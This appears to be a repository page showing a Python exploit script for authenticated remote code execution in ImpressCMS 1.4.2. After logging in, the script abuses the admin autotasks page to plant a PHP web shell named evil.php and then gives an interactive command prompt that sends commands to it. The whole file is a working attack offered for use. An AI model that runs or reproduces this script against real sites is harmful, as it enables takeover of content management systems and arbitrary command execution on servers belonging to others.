e181ebdf89
1 changes to exploits/shellcodes ImpressCMS 1.4.2 - Remote Code Execution (RCE) (Authenticated)
183 lines
No EOL
7 KiB
Python
Executable file
183 lines
No EOL
7 KiB
Python
Executable file
# Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE) (Authenticated)
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# Date: 15-09-2021
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# Exploit Author: Halit AKAYDIN (hLtAkydn)
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# Vendor Homepage: https://www.impresscms.org/
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# Software Link: https://www.impresscms.org/modules/downloads/
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# Version: 1.4.2
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# Category: Webapps
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# Tested on: Linux/Windows
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# ImpressCMS is a multilingual content management system for the web
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# Contains an endpoint that allows remote access
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# Autotask page misconfigured, causing security vulnerability
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# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
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import requests
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import argparse
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import sys
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from time import sleep
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session = requests.session()
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def main():
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parser = argparse.ArgumentParser(description='Impresscms Version 1.4.2 - Remote Code Execution (Authenticated)')
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parser.add_argument('-u', '--host', type=str, required=True)
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parser.add_argument('-l', '--login', type=str, required=True)
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parser.add_argument('-p', '--password', type=str, required=True)
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args = parser.parse_args()
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print("\nImpresscms Version 1.4.2 - Remote Code Execution (Authenticated)",
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"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
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exploit(args)
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def countdown(time_sec):
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while time_sec:
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mins, secs = divmod(time_sec, 60)
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timeformat = '{:02d}'.format(secs)
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print("["+timeformat+"] The task is expected to run!", end='\r')
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sleep(1)
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time_sec -= 1
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def exploit(args):
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#Check http or https
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if args.host.startswith(('http://', 'https://')):
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print("[?] Check Url...\n")
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args.host = args.host
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if args.host.endswith('/'):
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args.host = args.host[:-1]
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sleep(2)
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else:
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print("\n[?] Check Adress...\n")
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args.host = "http://" + args.host
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args.host = args.host
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if args.host.endswith('/'):
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args.host = args.host[:-1]
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sleep(2)
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try:
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response = requests.get(args.host)
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if response.status_code != 200:
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print("[-] Address not reachable!")
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sleep(2)
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exit(1)
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except requests.ConnectionError as exception:
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print("[-] Address not reachable")
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exit(1)
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response = requests.get(args.host + "/evil.php")
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if response.status_code == 200:
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print("[*] Exploit file exists!\n")
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sleep(2)
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print("[+] Exploit Done!\n")
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while True:
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cmd = input("$ ")
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url = args.host + "/evil.php?cmd=" + cmd
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headers = {
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"Upgrade-Insecure-Requests": "1",
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"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
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}
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response = requests.post(url, headers=headers, timeout=5)
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if response.text == "":
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print(cmd + ": command not found\n")
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else:
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print(response.text)
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else:
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#Login and set cookie
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url = args.host + "/user.php"
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cookies = {
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"ICMSSESSION": "gjj2svl7qjqorj5rs87b6thmi5"
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}
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headers = {
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"Cache-Control": "max-age=0",
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"Upgrade-Insecure-Requests": "1",
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"Origin": args.host,
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"Content-Type": "application/x-www-form-urlencoded",
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
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"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
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"Referer": args.host,
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"Accept-Encoding": "gzip, deflate",
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"Accept-Language": "en-US,en;q=0.9",
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"Connection": "close"
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}
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data = {
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"uname": args.login,
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"pass": args.password,
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"xoops_redirect": "/",
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"op": "login"
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}
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response = session.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
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new_cookies = session.cookies.get("ICMSSESSION")
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if (new_cookies is None):
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print("[-] Login Failed...\n")
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print("Your username or password is incorrect.")
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sleep(2)
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exit(1)
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else:
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print("[+] Success Login...\n")
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sleep(2)
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# Create Tasks
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url = args.host + "/modules/system/admin.php?fct=autotasks&op=mod"
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cookies = {
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"ICMSSESSION": new_cookies
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}
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headers = {
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"Cache-Control": "max-age=0",
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"Upgrade-Insecure-Requests": "1",
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"Origin": args.host,
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"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZ2hA91yNO8FWPZmk",
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
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"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
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"Referer": args.host + "/modules/system/admin.php?fct=autotasks&op=mod",
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"Accept-Encoding": "gzip, deflate",
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"Accept-Language": "en-US,en;q=0.9",
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"Connection": "close"
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}
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data = "------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_id\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_lastruntime\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_name\"\r\n\r\nrce\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_code\"\r\n\r\nfile_put_contents('../evil.php', \"<?php system(\\x24_GET['cmd']); ?>\");\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_repeat\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_interval\"\r\n\r\n0001\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_onfinish\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_enabled\"\r\n\r\n1\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_type\"\r\n\r\n:custom\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_addon_id\"\r\n\r\n\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"icms_page_before_form\"\r\n\r\n"+args.host+"/modules/system/admin.php?fct=autotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\naddautotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"modify_button\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk--\r\n"
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response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
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if response.headers.get("location") == args.host + "/modules/system/admin.php?fct=autotasks":
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print("[*] Task Create.\n")
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sleep(2)
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countdown(60)
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print("\n\n[+] Exploit Done!\n")
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sleep(2)
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while True:
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cmd = input("$ ")
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url = args.host + "/evil.php?cmd=" + cmd
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headers = {
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"Upgrade-Insecure-Requests": "1",
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"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
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}
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response = requests.post(url, headers=headers, timeout=5)
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if response.text == "":
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print(cmd + ": command not found\n")
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else:
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print(response.text)
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elif response.headers.get("location") == args.host + "/user.php":
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print("[!] Unauthorized user!\n\n")
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print("Requires user with create task permissions.")
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sleep(2)
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else:
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pass
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if __name__ == '__main__':
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main() |